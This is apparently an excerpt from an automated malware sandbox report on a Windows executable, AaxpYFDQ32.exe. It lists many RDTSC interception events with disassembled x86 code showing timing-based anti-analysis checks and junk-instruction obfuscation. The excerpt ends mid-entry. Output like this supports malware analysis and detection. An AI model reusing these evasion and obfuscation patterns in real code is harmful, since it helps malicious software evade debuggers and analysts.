Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A6B52 second address: 3A6BF5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFEF544D316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007EFEF544D329h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jmp 00007EFEF544D31Bh 0x0000001b pop eax 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007EFEF544D318h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 lea ebx, dword ptr [ebp+124575D6h] 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007EFEF544D318h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 00000017h 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 movsx esi, si 0x00000059 mov edi, eax 0x0000005b push eax 0x0000005c pushad 0x0000005d jmp 00007EFEF544D329h 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3B9D4E second address: 3B9D61 instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFEF4E8FF68h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3B9D61 second address: 3B9D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3B9D65 second address: 3B9D6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 39D589 second address: 39D5A3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007EFEF544D316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007EFEF544D31Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3C7C2F second address: 3C7C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3C7C37 second address: 3C7C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007EFEF544D316h 0x0000000a jmp 00007EFEF544D322h 0x0000000f jbe 00007EFEF544D316h 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3C7C63 second address: 3C7C71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 js 00007EFEF4E8FF66h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3BF113 second address: 3BF117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3BF117 second address: 3BF169 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF76h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007EFEF4E8FF75h 0x00000011 jmp 00007EFEF4E8FF6Dh 0x00000016 push esi 0x00000017 pop esi 0x00000018 pushad 0x00000019 jns 00007EFEF4E8FF78h 0x0000001f push eax 0x00000020 push edx 0x00000021 jl 00007EFEF4E8FF66h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3BF169 second address: 3BF181 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFEF544D320h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3BF181 second address: 3BF191 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007EFEF4E8FF66h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3BF191 second address: 3BF195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3BF195 second address: 3BF199 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 38E1D9 second address: 38E1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 jc 00007EFEF544D316h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 38E1E7 second address: 38E208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007EFEF4E8FF78h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3C8749 second address: 3C876D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007EFEF544D325h 0x0000000e jnc 00007EFEF544D316h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3C876D second address: 3C8773 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3C8773 second address: 3C879C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007EFEF544D31Ch 0x0000000e push eax 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push edi 0x00000016 push edx 0x00000017 pop edx 0x00000018 je 00007EFEF544D316h 0x0000001e pop edi 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3C879C second address: 3C87A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3C8D5B second address: 3C8D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007EFEF544D321h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFEF544D323h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3C8D86 second address: 3C8D9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007EFEF4E8FF6Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3C902E second address: 3C9032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3C9032 second address: 3C9038 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3C9471 second address: 3C94AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007EFEF544D31Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFEF544D329h 0x00000012 jmp 00007EFEF544D31Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3CBEDF second address: 3CBEE6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3CDEC1 second address: 3CDECB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFEF544D316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3CD5CB second address: 3CD5D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3CE574 second address: 3CE57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3CE57D second address: 3CE581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3CE581 second address: 3CE5C1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push edx 0x0000000a jmp 00007EFEF544D31Ah 0x0000000f pop edx 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b jmp 00007EFEF544D326h 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push ebx 0x00000028 pop ebx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D9A2E second address: 3D9A51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007EFEF4E8FF76h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DA5A7 second address: 3DA5AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DA841 second address: 3DA84A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DA84A second address: 3DA84E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DAE4A second address: 3DAE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DAECD second address: 3DAED3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DAED3 second address: 3DAED7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DAFF9 second address: 3DB00D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 jmp 00007EFEF544D31Ah 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DB00D second address: 3DB013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DB0ED second address: 3DB0F7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007EFEF544D316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DB0F7 second address: 3DB0FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DB3F0 second address: 3DB3F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DB3F4 second address: 3DB420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jbe 00007EFEF4E8FF68h 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 popad 0x00000016 nop 0x00000017 sub dword ptr [ebp+12457924h], edx 0x0000001d push eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007EFEF4E8FF6Bh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DB420 second address: 3DB424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DB933 second address: 3DB939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DDD87 second address: 3DDD8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DDD8B second address: 3DDD8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DDD8F second address: 3DDD95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DFDC4 second address: 3DFDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DFDC8 second address: 3DFDE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D329h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DFDE5 second address: 3DFE94 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007EFEF4E8FF78h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007EFEF4E8FF73h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007EFEF4E8FF68h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 call 00007EFEF4E8FF68h 0x00000036 pop ebx 0x00000037 mov dword ptr [esp+04h], ebx 0x0000003b add dword ptr [esp+04h], 0000001Ah 0x00000043 inc ebx 0x00000044 push ebx 0x00000045 ret 0x00000046 pop ebx 0x00000047 ret 0x00000048 call 00007EFEF4E8FF73h 0x0000004d jo 00007EFEF4E8FF66h 0x00000053 pop esi 0x00000054 push 00000000h 0x00000056 mov esi, ecx 0x00000058 xchg eax, ebx 0x00000059 jmp 00007EFEF4E8FF6Fh 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DFE94 second address: 3DFE99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DFB4D second address: 3DFB52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DFB52 second address: 3DFB8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007EFEF544D316h 0x00000009 jmp 00007EFEF544D322h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007EFEF544D324h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E0941 second address: 3E0948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E0948 second address: 3E094D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E4619 second address: 3E461D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E461D second address: 3E4621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E7C8C second address: 3E7CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007EFEF4E8FF6Fh 0x0000000a pushad 0x0000000b jp 00007EFEF4E8FF66h 0x00000011 jns 00007EFEF4E8FF66h 0x00000017 jmp 00007EFEF4E8FF6Ah 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E82DF second address: 3E82E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E83B8 second address: 3E83BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E2774 second address: 3E278E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d jnl 00007EFEF544D316h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E375B second address: 3E375F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E476B second address: 3E4772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E1049 second address: 3E1050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E857E second address: 3E8582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E278E second address: 3E2798 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFEF4E8FF6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EA5A1 second address: 3EA5B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007EFEF544D316h 0x00000009 jnl 00007EFEF544D316h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E375F second address: 3E3763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EB1E3 second address: 3EB1E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E1050 second address: 3E1055 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EA5B9 second address: 3EA5BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E3763 second address: 3E3769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EB1E7 second address: 3EB258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007EFEF544D318h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007EFEF544D318h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov bx, di 0x0000002d push 00000000h 0x0000002f mov bx, 79A6h 0x00000033 push 00000000h 0x00000035 xchg eax, esi 0x00000036 jno 00007EFEF544D31Eh 0x0000003c push eax 0x0000003d pushad 0x0000003e pushad 0x0000003f jmp 00007EFEF544D326h 0x00000044 jmp 00007EFEF544D31Bh 0x00000049 popad 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3E3769 second address: 3E377B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFEF4E8FF6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EB258 second address: 3EB25E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EC319 second address: 3EC379 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D3422h], ecx 0x00000013 xor di, 1CCDh 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+122D1BA7h], edx 0x00000020 pushad 0x00000021 mov bl, 79h 0x00000023 mov ecx, 24C5F31Bh 0x00000028 popad 0x00000029 push 00000000h 0x0000002b mov ebx, dword ptr [ebp+122D34B4h] 0x00000031 xchg eax, esi 0x00000032 pushad 0x00000033 jmp 00007EFEF4E8FF79h 0x00000038 jg 00007EFEF4E8FF6Ch 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EC379 second address: 3EC393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFEF544D322h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3ED3F4 second address: 3ED3FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3ED3FA second address: 3ED461 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007EFEF544D318h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov ebx, dword ptr [ebp+122D1B07h] 0x0000002b push 00000000h 0x0000002d and ebx, 1D0A947Ah 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007EFEF544D318h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc ecx 